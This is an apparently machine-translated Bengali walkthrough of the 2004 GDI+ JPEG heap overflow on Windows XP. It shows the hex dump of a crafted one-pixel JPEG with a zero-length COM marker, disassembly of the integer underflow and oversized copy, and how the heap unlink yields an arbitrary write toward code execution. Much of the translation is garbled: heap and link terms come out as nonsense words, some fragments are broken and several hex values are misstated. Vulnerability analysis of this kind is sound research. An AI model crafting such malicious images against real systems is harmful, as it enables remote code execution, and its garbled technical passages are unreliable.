এই দুর্বলতা অবশ্যই গাদা ওভারফ্লো হয়েছিল ।
0XFFFFFFFE বাইট (4 গিগাবাইট !!!!) লেখার মাধ্যমে কীভাবে প্রোগ্রামটি ক্রাশ হতে পারে না?
এটি সম্ভবত হবে, তবে কোনও কোনও সময় আপনি ক্র্যাশ হওয়ার আগে শোষণ করার সময় পেয়েছিলেন (কখনও কখনও আপনি প্রোগ্রামটিকে তার সাধারণ সম্পাদনে ফিরে পেতে এবং ক্র্যাশ এড়াতে পারেন)।
যখন মেমকিপি () শুরু হবে, অনুলিপিটি অন্য কোনও হিপ ব্লক বা হিপ পরিচালনার কাঠামোর কিছু অংশ (যেমন ফ্রি তালিকা, ব্যস্ত তালিকা ইত্যাদি) ওভাররাইট করে।
কিছু সময়ে অনুলিপিটি একটি বরাদ্দকৃত পৃষ্ঠার মুখোমুখি হবে এবং লিখিতভাবে একটি AV (অ্যাক্সেস লঙ্ঘন) ট্রিগার করবে। GDI এর + + তারপর (দেখুন গাদা একটি নতুন ব্লক বরাদ্দ করতে চেষ্টা করবে ntdll! RtlAllocateHeap ) ... কিন্তু গাদা কাঠামো এখন সব বিশৃঙ্খলার সৃষ্টি করছে।
এই মুহুর্তে, আপনার জেপিইজি চিত্রটি যত্ন সহকারে তৈরি করে আপনি নিয়ন্ত্রিত ডেটা সহ হিপ ম্যানেজমেন্ট স্ট্রাকচারগুলি ওভাররাইট করতে পারেন। সিস্টেমটি যখন নতুন ব্লকটি বরাদ্দ দেওয়ার চেষ্টা করে, এটি সম্ভবত ফ্রি তালিকা থেকে একটি (ফ্রি) ব্লককে লিঙ্কমুক্ত করবে।
ব্লকটি একটি ফ্লিংক (ফরোয়ার্ড লিঙ্ক; তালিকার পরবর্তী ব্লক) এবং ব্লিঙ্কগুলি (পিছনের লিঙ্ক; তালিকার পূর্ববর্তী ব্লক) পয়েন্টার সহ পরিচালনা করা হয়। আপনি যদি উভয় ঝাঁকুনি এবং ঝলক নিয়ন্ত্রণ করেন তবে আপনার একটি সম্ভাব্য WRITE4 থাকতে পারে (কী / কোথায় শর্ত লিখুন) যেখানে আপনি কী লিখতে পারেন এবং কোথায় লিখতে পারবেন তা নিয়ন্ত্রণ করেন।
সেই সময়ে আপনি একটি ফাংশন পয়েন্টার ওভাররাইট করতে পারেন ( এসইএইচ [স্ট্রাকচার্ড এক্সসেপশন হ্যান্ডলারস] পয়েন্টারগুলি সেই সময়ে 2004 এর আগে পছন্দের টার্গেট ছিল) এবং কোড এক্সিকিউশন অর্জন করতে পারে।
ব্লগ পোস্ট হিপ দুর্নীতি দেখুন: একটি কেস স্টাডি ।
দ্রষ্টব্য: যদিও আমি ফ্রিলিস্ট ব্যবহার করে শোষণ সম্পর্কে লিখেছিলাম, আক্রমণকারী অন্য হিপ মেটাডেটা ব্যবহার করে অন্য পথ বেছে নিতে পারে ("হিপ মেটাডেটা" হিপ পরিচালনার জন্য সিস্টেম দ্বারা ব্যবহৃত কাঠামো; ঝাঁকুনি এবং ঝলক হিপ মেটাডেটার অংশ), তবে লিঙ্কমুক্ত শোষণটি সম্ভবত "সবচেয়ে সহজ"। "হিপ শোষণ" এর জন্য একটি গুগল অনুসন্ধান এ সম্পর্কে অসংখ্য অধ্যয়ন ফিরিয়ে দেবে।
এটি কি গাদা অঞ্চল ছাড়িয়ে এবং অন্যান্য প্রোগ্রাম এবং ওএসের স্পেসে লিখতে পারে?
কখনই না। আধুনিক ওএস ভার্চুয়াল অ্যাড্রেস স্পেসের ধারণার ভিত্তিতে তৈরি তাই প্রতিটি প্রক্রিয়াটির নিজস্ব ভার্চুয়াল ঠিকানা স্থান রয়েছে যা 32-বিট সিস্টেমে 4 গিগাবাইট মেমরি পর্যন্ত সম্বোধন করতে সক্ষম করে তোলে (বাস্তবে আপনি এটির অর্ধেকটি ব্যবহারকারী-ভূমিতে পেয়েছেন, বাকিটি কার্নেলের জন্য)।
সংক্ষেপে, একটি প্রক্রিয়া অন্য প্রক্রিয়ার মেমোরি অ্যাক্সেস করতে পারে না (যদি এটি কোনও সার্ভিস / এপিআইয়ের মাধ্যমে এটির জন্য কার্নেলটি জিজ্ঞাসা করে তবে কর্নেল চেক করে দেখবে যে কলারের পক্ষে এটি করার অধিকার রয়েছে কিনা)।
আমি এই দুর্বলতাটিকে এই সপ্তাহের শেষের দিকে পরীক্ষা করার সিদ্ধান্ত নিয়েছি, তাই খাঁটি অনুমানের চেয়ে আমরা কী চলছে তা সম্পর্কে আমরা ভাল ধারণা পেতে পারি। দুর্বলতাটি এখন 10 বছর বয়স্ক, সুতরাং আমি ভেবেছিলাম এটি সম্পর্কে লিখতে ভাল হবে, যদিও আমি এই উত্তরে শোষণের অংশটি ব্যাখ্যা করি নি।
পরিকল্পনা
সর্বাধিক কঠিন কাজটি ছিল কেবলমাত্র এসপি 1 সহ একটি উইন্ডোজ এক্সপি খুঁজে পাওয়া, যেমনটি 2004 সালে ছিল :)
তারপরে, আমি নীচে দেখানো অনুসারে শুধুমাত্র একটি একক পিক্সেলের সমন্বিত একটি জেপিইজি চিত্র ডাউনলোড করেছি (ব্রেভিটির জন্য কাটা):
File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
একটি জেপিজি চিত্র বাইনারি মার্কার (যা অন্তর্ভুক্ত বিভাগগুলি) নিয়ে গঠিত। উপরের চিত্রটিতে, FF D8
এসওআই (চিত্রের শুরু) মার্কার রয়েছে, FF E0
উদাহরণস্বরূপ, একটি অ্যাপ্লিকেশন মার্কার।
মার্কার সেগমেন্টের প্রথম প্যারামিটারটি (এসওআই এর মতো কিছু মার্কার ব্যতীত) একটি দ্বি-বাইট দৈর্ঘ্যের প্যারামিটার যা দৈর্ঘ্যের প্যারামিটার সহ এবং দ্বি-বাইট চিহ্নিতকারীকে বাদ দিয়ে মার্কার সেগমেন্টের বাইটের সংখ্যা এনকোড করে।
FFFE
SOI এর ঠিক পরে আমি একটি COM চিহ্নিতকারী (0x ) যুক্ত করেছি, যেহেতু চিহ্নিতকারীদের কোনও কঠোর অর্ডার নেই।
File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
00 00
দুর্বলতা ট্রিগার করতে COM বিভাগের দৈর্ঘ্য সেট করা আছে। আমি পুনরাবৃত্ত প্যাটার্ন সহ সিওএম মার্কারের ঠিক পরে 0xFFFC বাইটও ইনজেকশন দিয়েছিলাম, হেক্সে একটি 4 বাইট নম্বর, যা দুর্বলতার "শোষণ" করার সময় সহজ হয়ে যাবে।
ডিবাগিং
ছবিটিতে ডাবল ক্লিক করলে তাত্ক্ষণিকভাবে উইন্ডোজ শেল (ওরফে "এক্সপ্লোরার এক্সেক্স"), কোথাও কোথাও gdiplus.dll
, নামের একটি কার্যক্রমে বাগটি ট্রিগার করবে GpJpegDecoder::read_jpeg_marker()
।
এই ফাংশনটিকে চিত্রের প্রতিটি চিহ্নিতকারীকে ডাকা হয়, এটি কেবল: মার্কার সেগমেন্টের আকারটি পড়েন, এমন একটি বাফার বরাদ্দ করেন যার দৈর্ঘ্যটি সেগমেন্টের আকার এবং এই সদ্য বরাদ্দকৃত বাফারে সেগমেন্টের সামগ্রীটি অনুলিপি করে।
এখানে ফাংশন শুরু:
.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
eax
বিভাগের আকারের পয়েন্টগুলি নিবন্ধভুক্ত করুন edi
এবং এটি চিত্রটিতে থাকা বাইটের সংখ্যা।
কোডটি পরে সেগমেন্টের আকারটি সর্বাধিক উল্লেখযোগ্য বাইট দ্বারা শুরু করে (দৈর্ঘ্যটি একটি 16-বিট মান) থেকে শুরু করে:
.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
এবং সর্বনিম্ন উল্লেখযোগ্য বাইট:
.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
এটি হয়ে গেলে, এই গণনা অনুসরণ করে বিভাগের আকার বাফার বরাদ্দ করতে ব্যবহৃত হয়:
বরাদ্দ_ আকার = বিভাগ_ আকার + 2 2
এটি নীচের কোড দ্বারা সম্পন্ন করা হয়:
.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
আমাদের ক্ষেত্রে বিভাগটির আকার 0 হওয়ায় বাফারের জন্য বরাদ্দ করা আকারটি 2 বাইট ।
দুর্বলতা বরাদ্দের পরে ঠিক:
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
কোডটি পুরো বিভাগের আকার (আমাদের ক্ষেত্রে 0) থেকে কেবল সেগমেন্ট_সাইজ আকার (বিভাগের দৈর্ঘ্য 2 বাইট মান) বিয়োগ করে এবং একটি পূর্ণসংখ্যার আন্ডারফ্লোতে শেষ হয়: 0 - 2 = 0xFFFFFFE
তারপরে কোডটি যাচাই করে থাকে যে ছবিতে পার্স করার জন্য বাইটগুলি রয়েছে (যা সত্য) এবং তারপরে অনুলিপিটিতে ঝাঁপিয়ে পড়ে:
.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
উপরের স্নিপেটটি দেখায় যে অনুলিপিটির আকার 0xFFFFFFFF 32-বিট খণ্ড রয়েছে। উত্স বাফার নিয়ন্ত্রণ করা হয় (ছবির বিষয়বস্তু) এবং গন্তব্য গাদা একটি বাফার।
শর্ত লিখুন
কপিটি যখন মেমরি পৃষ্ঠার শেষের দিকে পৌঁছে যায় তখন এটি অ্যাক্সেস লঙ্ঘন (এভি) ব্যতিক্রমকে ট্রিগার করবে (এটি উত্স পয়েন্টার বা গন্তব্য পয়েন্টার হতে পারে)। যখন এভি ট্রিগার করা হয় তখন হিপটি ইতিমধ্যে দুর্বল অবস্থায় থাকে কারণ অনুলিপিযুক্ত পৃষ্ঠাটি না আসা পর্যন্ত অনুলিপিটি নিম্নলিখিত সমস্ত হিপ ব্লকগুলিকে ওভাররাইট করে ফেলেছে।
এই বাগটি কীভাবে কাজে লাগিয়ে তোলে তা হ'ল 3 এসইএইচ (স্ট্রাকচার্ড এক্সসেপশন হ্যান্ডলার; এটি চেষ্টা / নিম্ন স্তরের ব্যতীত) কোডের এই অংশে ব্যতিক্রমগুলি ধরছে। আরও স্পষ্টভাবে, 1 ম এসইচটি স্ট্যাকটি উন্মুক্ত করবে যাতে এটি অন্য জেপিইজি চিহ্নিতকারীকে বিশ্লেষণ করতে ফিরে আসে, এইভাবে ব্যতিক্রম ঘটায় এমন মার্কারটিকে পুরোপুরি এড়িয়ে যায়।
কোনও এসইএইচ ছাড়া কোডটি কেবল পুরো প্রোগ্রামটি ক্র্যাশ করে। সুতরাং কোডটি COM বিভাগটিকে এড়িয়ে যায় এবং অন্য একটি বিভাগকে পার্স করে। সুতরাং আমরা GpJpegDecoder::read_jpeg_marker()
একটি নতুন বিভাগ এবং যখন কোড একটি নতুন বাফার বরাদ্দ সঙ্গে ফিরে পেতে :
.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
সিস্টেমটি ফ্রি তালিকা থেকে একটি ব্লককে লিঙ্কমুক্ত করবে। এটি ঘটে যে মেটাডেটা স্ট্রাকচারগুলি চিত্রের সামগ্রীতে ওভাররাইট করা হয়েছিল; সুতরাং আমরা নিয়ন্ত্রিত মেটাডেটার সাথে লিঙ্কটিকে নিয়ন্ত্রণ করি। সিস্টেমের কোথাও নীচে কোডটি হ্যাপ ম্যানেজারের (এনটিডিএল):
CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
এখন আমরা যা চাই সেখানে লিখতে পারি, আমরা কোথায় চাই ...